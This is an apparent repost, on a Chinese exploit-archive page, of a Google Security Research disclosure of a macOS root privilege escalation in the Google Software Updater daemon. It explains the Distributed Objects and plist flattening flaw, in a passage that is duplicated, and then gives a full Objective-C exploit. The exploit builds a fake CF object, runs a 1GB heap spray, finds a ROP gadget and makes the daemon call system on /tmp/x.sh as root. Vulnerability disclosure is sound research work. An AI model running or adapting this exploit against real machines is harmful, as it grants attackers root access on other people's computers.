首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Esca
来源:Google Security Research 作者:Google 发布时间:2018-03-21  
/*
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
 
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
 
Distributed Objects are very very hard to safely use across a privileged boundary.
 
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
 
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
 
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
 
In this case I'm targetting the following code in CoreFoundation:
 
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
 
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
 
    CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
    STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
    CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
    CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
    for (CFIndex idx = 0; idx < 2 * count; idx++) {
      _flattenPlist(list[idx], objlist, objtable, uniquingset);
    }
 
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
 
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
 
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
 
build this PoC:
clang -o ks ks.m -framework Foundation -framework CoreFoundation
 
start lldb waiting for the daemon to start:
sudo lldb --wait-for -n "/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon"
 
continue lldb and run the poc, you should see that the stack ends up pointing well outside the stack :)
*/
 
/*
ianbeer
Google software updater LPE on MacOS due to unsafe use of Distributed Objects
 
Google software updater ships with Chrome on MacOS and installs a root service (com.google.Keystone.Daemon.UpdateEngine)
which lives here: /Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/MacOS/GoogleSoftwareUpdateDaemon
 
This service vends a Distributed Object which exposes an API for updating google software running on the machine.
 
Distributed Objects are very very hard to safely use across a privileged boundary.
 
The GoogleSoftwareUpdateDaemon process attempts to "sanitize" objects passed to it by serializing
and deserializing them to a plist, however this still means we can attack the plist serializing code!
 
Specifically, with D.O. we can pass proxy objects which allow us to overload all objective-c
method calls. We can make the plist code think it's serializing a CFString, and then change our behaviour
to return a different CFTypeID so we become a dictionary for example.
 
The plist serialization code is not written to defend against such proxy objects, because D.O. should not be
used across a privilege boundary.
 
In this case I'm targetting the following code in CoreFoundation:
 
static void _flattenPlist(CFPropertyListRef plist, CFMutableArrayRef objlist, CFMutableDictionaryRef objtable, CFMutableSetRef uniquingset);
 
plist will be a proxy for the FakeCFObject I define. We can first pretend to be a CFString to pass some other type checks, then become a CFDictionary
(by simply returning a different return value for the _cfTypeID method.) We can then reach the following code:
 
    CFIndex count = CFDictionaryGetCount((CFDictionaryRef)plist);
    STACK_BUFFER_DECL(CFPropertyListRef, buffer, count <= 128 ? count * 2 : 1);
    CFPropertyListRef *list = (count <= 128) ? buffer : (CFPropertyListRef *)CFAllocatorAllocate(kCFAllocatorSystemDefault, 2 * count * sizeof(CFTypeRef), __kCFAllocatorGCScannedMemory);
    CFDictionaryGetKeysAndValues((CFDictionaryRef)plist, list, list + count);
    for (CFIndex idx = 0; idx < 2 * count; idx++) {
      _flattenPlist(list[idx], objlist, objtable, uniquingset);
    }
 
Since we're not a real CFDictionary we can return an arbitrary value for count. If we return a value < 0 it will be used to calculate the size of a stack buffer.
By passing a carefully chosen value this lets you move the stack pointer down an arbitrary amount, off the bottom of the stack and potentially into another thread's stack
or on to the heap, allowing memory corruption.
 
There will be dozens of other places where attack-controlled proxy objects will be able to interact with system code that was not written expecting to have
to deal with proxy objects.
 
The correct fix is to not use Distributed Objects across a privilege boundary, as per Apple's advice:
https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html
 
build this PoC:
clang -o ks_r00t ks_r00t.m -framework Foundation -framework CoreFoundation
 
This PoC exploit will run the shell script /tmp/x.sh as root.
*/
 
#import <objc/Object.h>
#import <Foundation/Foundation.h>
#import <CoreFoundation/CoreFoundation.h>
 
#include <dlfcn.h>
 
#import <stdio.h>
#include <stdlib.h>
#import <unistd.h>
 
@interface FakeCFObject : NSObject
{
  int count;
}
 
- (id) init;
- (CFTypeID) _cfTypeID;
- (void) getObjects:(id)objs andKeys:(id)keys;
- (void) getObjects:(id)objs range:(id)r;
- (unsigned long) count;
@end
 
@implementation FakeCFObject
- (id)init {
  self = [super init];
  if (self) {
    count = 0;
  }
  return self;
}
 
- (CFTypeID) _cfTypeID;
{
  NSLog(@"called cfTypeID");
  count++;
 
  switch (count) {
    case 1:
      return CFStringGetTypeID();
    default:
      return CFArrayGetTypeID();
  }
}
 
- (unsigned long) count;
{
  NSLog(@"called count");
  uint64_t rsp_guess = 0x700006000000;
  uint64_t heap_spray_guess = 0x150505000;
  uint64_t sub_rsp = rsp_guess - heap_spray_guess;
  sub_rsp >>= 3;
  sub_rsp |= (1ull<<63);
  printf("count: 0x%016llx\n", sub_rsp);
  return sub_rsp;
}
 
- (void) getObjects:(id)objs andKeys:(id)keys;
{
  NSLog(@"called getObjects_andKeys");
}
 
- (void) getObjects:(id)objs range:(id)r;
{
  NSLog(@"called getObjects_andKeys");
}
 
@end
 
// heap sprap assumption is that this will end up at 0x150505000
/*
  heap spray structure:
  we need to spray for two values, firstly the bug will sub rsp, CONTROLLED
  we want that to put the stack into the spray allocation
 
 
    +----------------------+
    |                      |
    | regular thread stack |
    |                      |
+-- +......................+   <-- base of stack when we use the bug to cause a
|   .                      .       massive sub rsp, X to move the stack pointer into the heap spray
|   .  <many TB of virtual .
|   .   address space>     .
|   .                      .
|   | + - - - - - - - + <--^--- 1G heap spray
|   | | FAKE_OBJC     |    |     top half is filled with fake objective c class objects
|   | | FAKE_OBJC     |    |     bottom half is filled with 0x170707000
|   | | FAKE_OBJC     |    |
|   | |     ...       |    | +--- these pointers all hopefully point somewhere into the top half of the heap spray
|   | + - - - - - - - +    | |
|   | |  0x170707000  | <--^-+
|   | |  0x170707000  |    |  +-- this is the first entry in the stack-allocated buffer
|   | |  0x170707000  |    |  |   if we override the getObjectsforRange selector of the D.O. so that nothing gets
|   | |     ...       |    |  |   filled in here this will be used uninitialized
|   | |  0x170707000  | <--^--+
+-> +-----------------| <--^--- rsp points here after the massive sub.
    | |  0x170707000  |    |    we want rsp to point anywhere in the lower half of the heap spray
    | |  xxxxxxxxxxx  |    |
    | |  xxxxxxxxxxx  |    |
    | |  0x170707000  |    |
    | +---------------+ <--^--- we send this 1G region as an NSData object
    .                      .
    .                      .
 
 
  When we get RIP control rdi will point to the bottom of the alloca buffer.
  That is, it will point to a qword containing 0x170707070
 
  The gadget below will turn that into RIP control with rdi pointing to the fake objective-c
  class object. Since the first 16 bytes of that are unused by objc_msgSend we can point the
  second fptr to system and put a 16 byte command at the start of the fake class.
*/
 
 
// this is tls_handshake_set_protocol_version_callback in Security.framework:
char* gadget =
"\x55"             // push rbp
"\x48\x89\xE5"     // mov rbp, rsp
"\x89\x77\x58"     // mov [rdi+58h], esi
"\x48\x8B\x47\x28" // mov rax, [rdi+28h]
"\x48\x8B\x7F\x30" // mov rdi, [rdi+30h]
"\x48\x8B\x40\x30" // mov rax, [rax+30h]
"\x5D"             // pop rbp
"\xFF\xE0";        // jmp rax
 
uint64_t gadget_address() {
  void* haystack = dlsym(RTLD_DEFAULT, "NSAllocateObject");
  printf("haystack: %p\n", haystack);
 
  void* found_at = memmem(haystack, 0x10000000, gadget, 22);
  printf("found at: %p\n", found_at);
 
  return found_at;
}
 
// heap spray target of 0x170707000
// this will be the page containing the fake objective c object
void* build_upper_heap_spray_page() {
  uint64_t spray_target = 0x170707000;
  uint64_t target_fptr = gadget_address();
 
  struct fake_objc_obj {
    char cmd[16];
    uint64_t cache_buckets_ptr;  // +0x10
    uint64_t cache_buckets_mask; // +0x18
    uint64_t cached_sel;         // +0x20
    uint64_t cached_fptr;        // +0x28
    uint64_t second_fptr;        // +0x30
  };
 
  struct fake_objc_obj* buf = malloc(PAGE_SIZE);
  memset(buf, 'B', PAGE_SIZE);
  
  uint64_t target_selector = (uint64_t)sel_registerName("class");
  printf("target selector address: %llx\n", target_selector);
 
  strcpy(buf->cmd, "/tmp/x.sh");
  buf->cache_buckets_ptr = spray_target + 0x20;
  buf->cache_buckets_mask = 0;
  buf->cached_sel = target_selector;
  buf->cached_fptr = target_fptr;
 
  buf->second_fptr = (uint64_t)system;
 
  return buf;
}
 
// heap spray target of 0x150505000
// this will be the page containing the pointer to the fake objective c class
void* build_lower_heap_spray_page() {
  uint64_t* buf = malloc(PAGE_SIZE);
  for (int i = 0; i < PAGE_SIZE/8; i++) {
    buf[i] = 0x170707000;
  }
  return buf;
}
 
int main() {
  id theProxy;
  theProxy = [[NSConnection
      rootProxyForConnectionWithRegisteredName:@"com.google.Keystone.Daemon.UpdateEngine"
      host:nil] retain];
 
  printf("%p\n", theProxy);
 
    FakeCFObject* obj = [[FakeCFObject alloc] init];
 
  NSDictionary* dict = @{@"ActivesInfo": obj};
 
  id retVal = [theProxy claimEngineWithError:nil];
  printf("retVal: %p\n", retVal);
 
  uint32_t heap_spray_MB = 1024;
  uint32_t heap_spray_bytes = heap_spray_MB * 1024 * 1024;
  uint32_t heap_spray_n_pages = heap_spray_bytes / PAGE_SIZE;
  
  void* lower_heap_spray_page = build_lower_heap_spray_page();
  void* upper_heap_spray_page = build_upper_heap_spray_page();
 
  uint8_t* heap_spray_full_buffer = malloc(heap_spray_bytes);
  for (int i = 0; i < heap_spray_n_pages/2; i++) {
    memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], lower_heap_spray_page, PAGE_SIZE);
  }
  
  for (int i = heap_spray_n_pages/2; i < heap_spray_n_pages; i++) {
    memcpy(&heap_spray_full_buffer[i*PAGE_SIZE], upper_heap_spray_page, PAGE_SIZE);
  }
 
  // wrap that in an NSData:
  NSData* data = [NSData dataWithBytes:heap_spray_full_buffer length:heap_spray_bytes];
 
  // trigger the bugs
  [retVal setParams:dict authenticationPort:data];
 
  return 0;
 
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Crashmail 1.6 Buffer Overflow
·Microsoft Windows Kernel - 'Nt
·Linux Kernel < 4.4.0-21 (Ubunt
·Microsoft Windows Kernel - 'Nt
·Linux Kernel < 3.5.0-23 (Ubunt
·Microsoft Windows Kernel - 'nt
·Linux Kernel < 4.4.0-116 (Ubun
·Microsoft Windows Kernel - 'nt
·Easy Chat Server 3.1 Buffer Ov
·Internet Explorer - 'RegExp.la
·Firefox 44.0.2 - ASM.JS JIT-Sp
·Microsoft Windows - Desktop Br
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved